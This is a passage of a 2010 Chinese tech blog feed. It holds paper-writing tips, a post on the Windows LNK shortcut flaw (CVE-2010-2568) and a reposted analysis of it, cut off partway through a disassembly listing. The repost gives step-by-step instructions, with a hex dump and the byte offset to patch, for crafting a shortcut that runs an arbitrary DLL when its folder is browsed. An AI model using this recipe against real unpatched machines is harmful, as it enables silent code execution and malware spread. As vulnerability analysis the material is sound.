&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;数学基础对文章录用有着很大的决定性作用，所以要把数学理论基础学扎实。如果数学基础学得不好，没有时间去钻研的话，可以把文章里用到的理论知识吃透再写出来，不能让评审人看出一丝你理论不扎实的迹象。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;要想快速出一篇文章，就要把握好文章的研究方向，最好是采用"跟风"的做法，选择去follow最新的热点问题，比如现今"云计算"很火，可以找这方面的好文章读读，然后在别人工作的基础上下功夫，比如"集中式的……"可以研究"分布式的……"，semi-honest的可以写成malicious的。总之在牛人的基础上下功夫可以节省很多时间。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;&lt;strong&gt;4.写参考文献的捷径 &lt;/strong&gt;&#xD;
		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;可能初次写文章的同学当写好一篇论文后，需要补充参考文献，最快速的办法就是在google的学术搜索中找，比如搜索文章的关键字，然后找到被用次数很多的文献，一种办法就是去找它的参考文献中的论文，另一种就是找引用它的文章（点击google学术搜索的"被引用次数"），这样一层层找下去之后，就能找到最新的文献。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;看某篇文章能否被用作你的参考文献，最快的办法就是去读它的摘要（Abstract）和结论（Conclusion），读完后基本就知道这篇文章的大致内容，总结一下就可以写入你的引言（或Introduction）部分。 &#xD;
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:宋体; font-size:12pt"&gt;以上是我的小小经验，以后会有更多的补充上。对于一个长期干工程的人来说，写论文是我的恶梦，初次入门，也许有些地方写得不好，欢迎大家指教~&lt;/span&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1786010.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/07/27/1786010.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/07/23/1783754.html</id><title type="text">亲探微软LNK漏洞</title><summary type="text">7月16日境外黑客论坛发布了利用不久前微软曝出的LNK（快捷方式）漏洞（详见http://www.microsoft.com/technet/security/advisory/2286198.mspx）的消息，很快国内就有人利用此LNK漏洞制造出了“假面”木马，即使在Windows下组策略里设置对移动存储不“自动播放”，只要打开（即使是安全打开）移动存储设备（如U盘），就会中毒。这让我联想到了最...</summary><published>2010-07-23T07:16:00Z</published><updated>2010-07-23T07:16:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/07/23/1783754.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/07/23/1783754.html"/><content type="html">&lt;p&gt;&lt;font size="2"&gt;7月16日境外黑客论坛发布了利用不久前微软曝出的LNK（快捷方式）漏洞（详见&lt;/font&gt;&lt;a title="http://www.microsoft.com/technet/security/advisory/2286198.mspx" href="http://www.microsoft.com/technet/security/advisory/2286198.mspx" target="_blank"&gt;&lt;font size="2"&gt;http://www.microsoft.com/technet/security/advisory/2286198.mspx&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;）的消息，很快国内就有人利用此LNK漏洞制造出了“假面”木马，即使在Windows下组策略里设置对移动存储不“自动播放”，只要打开（即使是安全打开）移动存储设备（如U盘），就会中毒。这让我联想到了最近看的有关希腊神话的两部电影：《波西·杰克逊与神火之盗》与《诸神之战》，里面都出现了美杜莎，任何人只要看一眼美杜莎就中招，变成石头，因此我戏称此病毒为“美杜莎”病毒，只需看一眼快捷方式，就立即中毒。&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/image11.png"&gt;&lt;font size="2"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/image11_thumb.png" width="904" height="386" /&gt;&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;此漏洞影响的操作系统包括个人电脑常用的WinXP、Win7等（详见&lt;/font&gt;&lt;a title="http://www.microsoft.com/technet/security/advisory/2286198.mspx" href="http://www.microsoft.com/technet/security/advisory/2286198.mspx" target="_blank"&gt;&lt;font size="2"&gt;http://www.microsoft.com/technet/security/advisory/2286198.mspx&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;），然而微软至今仍未发布有效补丁，21日发布了临时的解决方案（详见&lt;/font&gt;&lt;a title="http://support.microsoft.com/kb/2286198" href="http://support.microsoft.com/kb/2286198" target="_blank"&gt;&lt;font size="2"&gt;http://support.microsoft.com/kb/2286198&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;），虽然此解决方案会让Windows的功能不受影响，但会变得很难看，所有的图标都会变成白色（详见：&lt;/font&gt;&lt;a title="http://pcedu.pconline.com.cn/softnews/bingdu/1007/2176217.html" href="http://pcedu.pconline.com.cn/softnews/bingdu/1007/2176217.html" target="_blank"&gt;&lt;font size="2"&gt;http://pcedu.pconline.com.cn/softnews/bingdu/1007/2176217.html&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;），如下图：&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/2176217_2_thumb_2.jpg"&gt;&lt;font size="2"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="2176217_2_thumb" border="0" alt="2176217_2_thumb" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/2176217_2_thumb_thumb.jpg" width="504" height="333" /&gt;&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;但是我亲自在XP上试验了一把，确实可以防止此漏洞攻击，但是并没有微软所说的，所有图标都变成白色，不知在Win7下是否会变白色。20日360发布了更好的应急补丁（详见&lt;/font&gt;&lt;a title="http://bbs.360.cn/3451604/37744558.html?recommend=1" href="http://bbs.360.cn/3451604/37744558.html?recommend=1" target="_blank"&gt;&lt;font size="2"&gt;http://bbs.360.cn/3451604/37744558.html?recommend=1&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;），此补丁打了后，不但可以修补此漏洞，还不会影响系统的美观。推荐此方法，只需下载最新360安全卫士，即可防住攻击，如下图：&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/WinXP%20BJTU%20VPN-2010-07-23-15-12-52_2.png"&gt;&lt;font size="2"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="WinXP BJTU VPN-2010-07-23-15-12-52" border="0" alt="WinXP BJTU VPN-2010-07-23-15-12-52" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/WinXP%20BJTU%20VPN-2010-07-23-15-12-52_thumb.png" width="717" height="645" /&gt;&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;以前一直认为，只需设置Windows中组策略，禁止自动播放功能，再加上使用安全方法打开任何移动存储设备（如在地址栏中输入“g:”回车，假设G盘是U盘），即使U盘中病毒再怎么五花八门，都不会引发恶意代码的执行。但是这种木马的行为让我很好奇，究竟是什么原理，使得看一眼就中招？&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;于是，我在网上找到这篇文章：&lt;/font&gt;&lt;a title="http://www.exploit-db.com/exploits/14403/" href="http://www.exploit-db.com/exploits/14403/" target="_blank"&gt;&lt;font size="2"&gt;http://www.exploit-db.com/exploits/14403/&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;，里面有利用此LNK漏洞实现执行dll.dll中的代码，但是为了看出结果，需要使用虚拟机、WinDBG等调试工具，比较麻烦，就继续寻找相关文章，后来找到这篇：&lt;/font&gt;&lt;a title="http://community.websense.com/blogs/securitylabs/archive/2010/07/20/microsoft-lnk-vulnerability-brief-technical-analysis-cve-2010-2568.aspx" href="http://community.websense.com/blogs/securitylabs/archive/2010/07/20/microsoft-lnk-vulnerability-brief-technical-analysis-cve-2010-2568.aspx" target="_blank"&gt;&lt;font size="2"&gt;http://community.websense.com/blogs/securitylabs/archive/2010/07/20/microsoft-lnk-vulnerability-brief-technical-analysis-cve-2010-2568.aspx&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;，相应的中文版在这里：&lt;/font&gt;&lt;a title="http://www.7747.net/Article/201007/53723.html" href="http://www.7747.net/Article/201007/53723.html" target="_blank"&gt;&lt;font size="2"&gt;http://www.7747.net/Article/201007/53723.html&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;，我就明白大概原理，Windows要显示快捷方式对应的文件图标，但是由于这个快捷方式经过特殊处理，而Windows加载图标的算法有着致命的漏洞，经过一系列的系统调用，最终加载了快捷方式中指定的“dll.dll”，导致Windows执行了DLL中的代码。&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;讲到这里，不少人可以利用此漏洞做一番文章了，比如：木马可以执行DLL中的恶意代码，传播其它的病毒、木马，或者从网上下载更恶毒的木马，监控键盘、鼠标的行为，当用户在不知道已中木马的情况下，输入银行、网游账号密码，黑客们就可以得逞了。这漏洞号称2010年以来最有危害性的漏洞。所以大家尽快打补丁吧~&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;我根据原理也小实验了一把，可以在这里下载DEMO和源代码：&lt;/font&gt;&lt;/p&gt;  &lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;   &lt;p&gt;&lt;a href="http://files.cnblogs.com/cxun/lnk_example.rar" target="_blank"&gt;&lt;font size="2"&gt;点击下载&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;    &lt;p&gt;&lt;font size="2"&gt;有关说明：&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font size="2"&gt;此压缩包是利用LNK漏洞实现执行任意代码的例子，不会对系统有伤害。 &lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font size="2"&gt;实现了执行dll.dll中的代码，将会生成一个文本文件，内容是：“已执行dll中的代码”。因此对系统无伤害，但行为属于木马行为。 &lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font size="2"&gt;为了防止杀毒软件删除此压缩包（杀软会报毒：LNK/Exploit.CVE-2010-2568 特洛伊木马），所以将此压缩包加密，解压密码是：123456&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;font size="2"&gt;效果如下图：&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/WinXP%20BJTU%20VPN-2010-07-23-15-05-38_2.png"&gt;&lt;font size="2"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="WinXP BJTU VPN-2010-07-23-15-05-38" border="0" alt="WinXP BJTU VPN-2010-07-23-15-05-38" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/04ed583d0558_CC7A/WinXP%20BJTU%20VPN-2010-07-23-15-05-38_thumb.png" width="717" height="645" /&gt;&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;后来发现网上已经有人把原理剖析得更底层，详见：&lt;/font&gt;&lt;a title="http://bbs.pediy.com/showthread.php?p=838548" href="http://bbs.pediy.com/showthread.php?p=838548" target="_blank"&gt;&lt;font size="2"&gt;http://bbs.pediy.com/showthread.php?p=838548&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1783754.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/07/23/1783754.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cxun/archive/2010/07/23/1783608.html</id><title type="text">[转]LNK文件漏洞简要分析</title><summary type="text">原文URL：http://www.myhack58.com/Article/html/3/92/2010/27669.htm  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; http://bbs.pediy.com/showthread.php?p=838548  更多参考U...</summary><published>2010-07-23T03:49:00Z</published><updated>2010-07-23T03:49:00Z</updated><author><name>cxun</name><uri>http://www.cnblogs.com/cxun/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cxun/archive/2010/07/23/1783608.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cxun/archive/2010/07/23/1783608.html"/><content type="html">&lt;p&gt;原文URL：&lt;a title="http://www.myhack58.com/Article/html/3/92/2010/27669.htm" href="http://www.myhack58.com/Article/html/3/92/2010/27669.htm" target="_blank"&gt;http://www.myhack58.com/Article/html/3/92/2010/27669.htm&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;a title="http://bbs.pediy.com/showthread.php?p=838548" href="http://bbs.pediy.com/showthread.php?p=838548" target="_blank"&gt;http://bbs.pediy.com/showthread.php?p=838548&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#ff0000"&gt;更多参考URL：&lt;/font&gt;&lt;/p&gt;  &lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;   &lt;p&gt;&lt;a href="http://www.exploit-db.com/exploits/14403/" target="_blank"&gt;http://www.exploit-db.com/exploits/14403/&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://community.websense.com/blogs/securitylabs/archive/2010/07/20/microsoft-lnk-vulnerability-brief-technical-analysis-cve-2010-2568.aspx" target="_blank"&gt;http://community.websense.com/blogs/securitylabs/archive/2010/07/20/microsoft-lnk-vulnerability-brief-technical-analysis-cve-2010-2568.aspx&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://www.7747.net/Article/201007/53723.html" target="_blank"&gt;http://www.7747.net/Article/201007/53723.html&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://www.myhack58.com/Article/html/3/92/2010/27669.htm" target="_blank"&gt;http://www.myhack58.com/Article/html/3/92/2010/27669.htm&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://www.cnblogs.com/hetonghai/archive/2008/05/24/1206428.html" target="_blank"&gt;http://www.cnblogs.com/hetonghai/archive/2008/05/24/1206428.html&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/" target="_blank"&gt;http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://bbs.360.cn/3451604/37744558.html?recommend=1" target="_blank"&gt;http://bbs.360.cn/3451604/37744558.html?recommend=1&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://bbs.360.cn/3229787/37716623.html?recommend=1" target="_blank"&gt;http://bbs.360.cn/3229787/37716623.html?recommend=1&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://news.baike.360.cn/fw/bbs/3451604/37744558.html?recommend=1" target="_blank"&gt;http://news.baike.360.cn/fw/bbs/3451604/37744558.html?recommend=1&lt;/a&gt;       &lt;br /&gt;&lt;a href="http://tech.sina.com.cn/s/2010-07-21/18151428152.shtml" target="_blank"&gt;http://tech.sina.com.cn/s/2010-07-21/18151428152.shtml&lt;/a&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;前言&lt;/b&gt;     &lt;br /&gt;windows的shell32在处理控制面板程序的快捷方式文件时，存在一个漏洞，可以加载硬盘上的任意DLL文件，即可执行任意代码。&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;漏洞文件的生成&lt;/b&gt;     &lt;br /&gt;到“控制面板”下面，右键点“显示”，点“创建快捷方式”，把快捷方式创建在桌面上。然后在桌面用WinHex打开“显示.lnk”文件。&lt;/p&gt;  &lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;   &lt;p&gt;Offset&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 0&amp;#160;&amp;#160; 1&amp;#160;&amp;#160; 2&amp;#160;&amp;#160; 3&amp;#160;&amp;#160; 4&amp;#160;&amp;#160; 5&amp;#160;&amp;#160; 6&amp;#160;&amp;#160; 7&amp;#160;&amp;#160; 8&amp;#160;&amp;#160; 9&amp;#160;&amp;#160; A&amp;#160;&amp;#160; B&amp;#160;&amp;#160; C&amp;#160;&amp;#160; D&amp;#160;&amp;#160; E&amp;#160;&amp;#160; F&lt;/p&gt;    &lt;p&gt;00000000&amp;#160;&amp;#160; 4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00&amp;#160;&amp;#160; L...........?..&lt;/p&gt;    &lt;p&gt;00000010&amp;#160;&amp;#160; 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00&amp;#160;&amp;#160; ...F?..........&lt;/p&gt;    &lt;p&gt;00000020&amp;#160;&amp;#160; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&amp;#160;&amp;#160; ................&lt;/p&gt;    &lt;p&gt;00000030&amp;#160;&amp;#160; 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00&amp;#160;&amp;#160; ................&lt;/p&gt;    &lt;p&gt;00000040&amp;#160;&amp;#160; 00 00 00 00 00 00 00 00 00 00 00 00 CC 00 14 00&amp;#160;&amp;#160; ............?..&lt;/p&gt;    &lt;p&gt;00000050&amp;#160;&amp;#160; 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30&amp;#160;&amp;#160; .P郞??i.⒇..+0&lt;/p&gt;    &lt;p&gt;00000060&amp;#160;&amp;#160; 30 9D 14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD&amp;#160;&amp;#160; 0?... ??i.⑤&lt;/p&gt;    &lt;p&gt;00000070&amp;#160;&amp;#160; 08 00 2B 30 30 9D A2 00 00 00 9C FF FF FF 00 00&amp;#160;&amp;#160; ..+00潰...?..&lt;/p&gt;    &lt;p&gt;00000080&amp;#160;&amp;#160; 00 00 00 6A 00 00 00 00 00 00 1D 00 20 00 44 00&amp;#160;&amp;#160; ...j........ .D.&lt;/p&gt;    &lt;p&gt;00000090 3A 00 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00 :.\.W.I.N.D.O.W.&lt;/p&gt;    &lt;p&gt;000000A0 53 00 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 S.\.s.y.s.t.e.m.&lt;/p&gt;    &lt;p&gt;000000B0 33 00 32 00 5C 00 64 00 65 00 73 00 6B 00 2E 00&amp;#160; 3.2.\.d.e.s.k...&lt;/p&gt;    &lt;p&gt;000000C0 63 00 70 00 6C 00 00 00 3E 66 3A 79 00 00 F4 66&amp;#160; c.p.l...&amp;gt;f:y..鬴&lt;/p&gt;    &lt;p&gt;000000D0&amp;#160;&amp;#160; 39 65 A8 60 84 76 4C 68 62 97 84 76 16 59 C2 89&amp;#160;&amp;#160; 9e╜剉Lhb梽v.Y&lt;/p&gt;    &lt;p&gt;000000E0&amp;#160;&amp;#160; 0C FF 8B 4F 82 59 CC 80 6F 66 01 30 4F 5C 55 5E&amp;#160;&amp;#160; .婳俌虁of.0O\U^&lt;/p&gt;    &lt;p&gt;000000F0&amp;#160;&amp;#160; DD 4F A4 62 0B 7A 8F 5E 01 30 9C 98 72 82 01 30&amp;#160;&amp;#160; 軴.z廭.0湗r?0&lt;/p&gt;    &lt;p&gt;00000100&amp;#160;&amp;#160; 57 5B 53 4F 27 59 0F 5C 8C 54 4F 5C 55 5E 06 52&amp;#160;&amp;#160; W[SO'Y.\孴O\U^.R&lt;/p&gt;    &lt;p&gt;00000110&amp;#160;&amp;#160; A8 8F 87 73 02 30 00 00 00 00 00 00 00 00&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ◤噑.0........&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;把偏移7A处的9C FF FF FF改成00 00 00 00，把后面的文件名D:\WINDOWS\system32\desk.cpl改成C:\dll.dll（UNICODE格式）。保存文件。把这个文件复制到任意目录下，当用户浏览该目录时，就会加载C:\dll.dll文件。&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Lnk文件格式的相关地方&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Lnk的目标文件存放在Shell Item Id List的SHITEMID结构里面，这个结构是按照层来表示一个目标的。上面那个lnk文件里面，第一层是&lt;/p&gt;  &lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;   &lt;p&gt;14 00&amp;#160;&amp;#160; ............?..&lt;/p&gt;    &lt;p&gt;00000050&amp;#160;&amp;#160; 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30&amp;#160;&amp;#160; .P郞??i.⒇..+0&lt;/p&gt;    &lt;p&gt;00000060&amp;#160;&amp;#160; 30 9D&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;14 00代表长度，后面的16字节是“我的电脑”的GUID {20D04FE0-3AEA-1069-A2D8-08002B30309D}，注册表里可以搜到。第二层是&lt;/p&gt;  &lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;   &lt;p&gt;14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD&amp;#160;&amp;#160; 0?... ??i.⑤&lt;/p&gt;    &lt;p&gt;00000070&amp;#160;&amp;#160; 08 00 2B 30 30 9D&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;这个是“控制面板”的GUID {21EC2020-3AEA-1069-A2DD-08002B30309D}。&lt;/p&gt;  &lt;p&gt;第三层就是后面长度为0xA2的目标文件。这里面偏移0x7A处的9C FF FF FF是用来指明快捷方式图标的index。貌似是这样的。&lt;/p&gt;  &lt;p&gt;所以这个Shell Item Id List所指向的文件就是：我的电脑-&amp;gt;控制面板-&amp;gt;D:\WINDOWS\system32\desk.cpl。&lt;/p&gt;  &lt;p&gt;对于普通文件的快捷方式，好像是：我的电脑-&amp;gt;盘符-&amp;gt;目录1-&amp;gt;目录2…-&amp;gt;文件名。&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;漏洞产生的地方&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160; shell32在处理lnk文件的时候要把它的图标显示出来，对于一般文件应该是从Icon filename string里面解析，但对于文件后面没有Icon filename string结构的控制面板快捷方式，是直接从0x7A那里的iconindex来解析。当这个iconindex是0的时候，会去加载cpl文件，调用CPlApplet接口，这样就存在执行DLL中代码的问题。&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;   &lt;p&gt;7D716064&amp;#160;&amp;#160;&amp;#160; 53&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; ebx&lt;/p&gt;    &lt;p&gt;7D716065&amp;#160;&amp;#160;&amp;#160; FF75 10&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp+10]&lt;/p&gt;    &lt;p&gt;7D716068&amp;#160;&amp;#160;&amp;#160; 8D5E 0C&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; lea&amp;#160;&amp;#160;&amp;#160;&amp;#160; ebx, dword ptr [esi+C]&lt;/p&gt;    &lt;p&gt;7D71606B&amp;#160;&amp;#160;&amp;#160; 53&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; ebx&lt;/p&gt;    &lt;p&gt;7D71606C&amp;#160;&amp;#160;&amp;#160; FF75 0C&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp+C]&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ;C:\dll.dll,0,&amp;lt;-这个0就是从偏移7A那里得到的iconindex&lt;/p&gt;    &lt;p&gt;7D71606F&amp;#160;&amp;#160;&amp;#160; FF15 0015597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;KERNEL32.lstrcpynW&amp;gt;&amp;gt;; kernel32.lstrcpynW&lt;/p&gt;    &lt;p&gt;7D716075&amp;#160;&amp;#160;&amp;#160; 6A 2C&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; 2C&lt;/p&gt;    &lt;p&gt;7D716077&amp;#160;&amp;#160;&amp;#160; FF75 0C&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; dword ptr [ebp+C]&lt;/p&gt;    &lt;p&gt;7D71607A&amp;#160;&amp;#160;&amp;#160; FF15 F41B597D&amp;#160;&amp;#160; call&amp;#160;&amp;#160;&amp;#160; dword ptr [&amp;lt;&amp;amp;SHLWAPI.StrChrW&amp;gt;]&amp;#160;&amp;#160; ; shlwapi.StrChrW&lt;/p&gt;    &lt;p&gt;7D716080&amp;#160;&amp;#160;&amp;#160; 85C0&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; test&amp;#160;&amp;#160;&amp;#160; eax, eax&lt;/p&gt;    &lt;p&gt;7D716082&amp;#160;&amp;#160;&amp;#160; 74 5D&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; je&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; short 7D7160E1&lt;/p&gt;    &lt;p&gt;7D716084&amp;#160;&amp;#160;&amp;#160; 66:8320 00&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; and&amp;#160;&amp;#160;&amp;#160;&amp;#160; word ptr [eax], 0&lt;/p&gt;    &lt;p&gt;7D716088&amp;#160;&amp;#160;&amp;#160; 83C0 02&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; add&amp;#160;&amp;#160;&amp;#160;&amp;#160; eax, 2&lt;/p&gt;    &lt;p&gt;7D71608B&amp;#160;&amp;#160;&amp;#160; 50&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; push&amp;#160;&amp;#160;&amp;#160; 